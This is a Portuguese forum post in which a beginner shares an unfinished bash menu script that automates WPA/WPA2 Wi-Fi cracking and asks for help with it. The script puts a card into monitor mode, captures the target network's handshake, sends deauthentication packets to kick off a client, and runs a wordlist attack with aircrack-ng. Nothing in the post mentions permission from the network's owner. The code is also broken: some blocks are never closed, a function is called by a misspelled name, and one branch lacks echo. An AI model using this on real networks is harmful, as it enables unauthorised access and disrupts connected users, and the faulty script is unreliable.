Enviado em 04/07/2015 - 19:18h
Pessoal, sou novo em shell script e estou com dificuldades para terminar um script que estou fazendo afim de facilitar testes em redes wireless..#!/bin/bash
#Automatizacao de testes em redes Wifi
#ftm.fernando@gmail.com
#Execute como ROOT!
#
Wifi() {
echo "Automatizacao de testes em redes Wifi WPA/WPA2"
echo "@ph4nt3r4t1gr1s"
echo "-----------------------------------------------"
echo "Menu:"
echo "-----------------------------------------------"
echo "1 - Setar variaveis"
echo "2 - Ativar modo monitoramente e Snnifer na placa Wifi"
echo "3 - Ativar injecao de pacotes"
echo "4 - Quebrar Senha"
echo "5 - Exit"
echo
echo -n "Digite a opcao"
read opcao
case $opcao in
1) Seta_Var ;;
2) Snnifer ;;
3) Inject ;;
4) Crack ;;
5) Exit ;;
*) "Opcao desconhecida." ; echo ; Wifi ;;
esac
}
Seta_Var(){
echo "1 - Setar interface Wifi"
echo "2 - Setar diretorio captura"
echo "3 - Setar wordlist"
echo "4 - Verificar parametros setados"
echo "5 - Voltar ao Menu principal"
echo -n "Digite uma opcao"
read opcao_var
case $opcao_var in
1) interface_wifi ;;
2) diretorio_captura ;;
3) wordlist ;;
4) parametros ;;
5) Menu_principal ;;
*) "Opcao desconhecida." ; echo ; Seta_Var ;;
esac
}
interface_wifi(){
echo -n "Entre com o nome da interface Wifi"
airmon-ng
read interface
Seta_var
}
diretorio_captura(){
echo -n "Entre com o diretorio para salvar a coleta de pacotes"
read dirpacotes
if [ ! -d "$dirpacotes" ]; then
echo "Diretorio nao existe, criando diretorio..."
echo "."
echo ".."
echo "..."
mkdir $dirpacotes
Seta_var
wordlist(){
echo -n "Entre com o caminho absoluto da Wordlist, ex /home/wordlist.txt"
read wordlist
if [ ! -e "$wordlist" ]; then
echo "Wordlist nao existe ou foi digitada incorretamente"
Seta_var
parametros(){
echo "interface Wifi: $interface"
echo "Diretorio Captura: $dirpacotes"
echo "Worlist: $wordlist"
Seta_var
}
Menu_principal() {
Wifi
}
Snnifer(){
airmon-ng start $interface
echo -n "Entre com o nome da interface de monitoramento, ex wlan0mon"
read mon_interface
airodump-ng $mon_interface
echo "Analise a rede wifi a ser quebrada e entre com os dados exatamente como aparecem"
echo "Digite o BSSID da rede desejada:"
read bssid
echo "Digite o Canal, campo CH:"
read canal
echo "Digite o client, mac do pc que esta na rede"
read client
echo "Executando Snnifer.."
airodump-ng -c $canal --bssid $bssid -w $dirpacotes $mon_interface &
Wifi
}
Inject(){
aireplay-ng -0 2 $bssid -c $client $mon_interface
sleep 10
Wifi
}
Crack(){
aircrack-ng -a2 -b $bssid -w $wordlist $dirpacotes/*.cap
sleep 10
Wifi
}
Wifi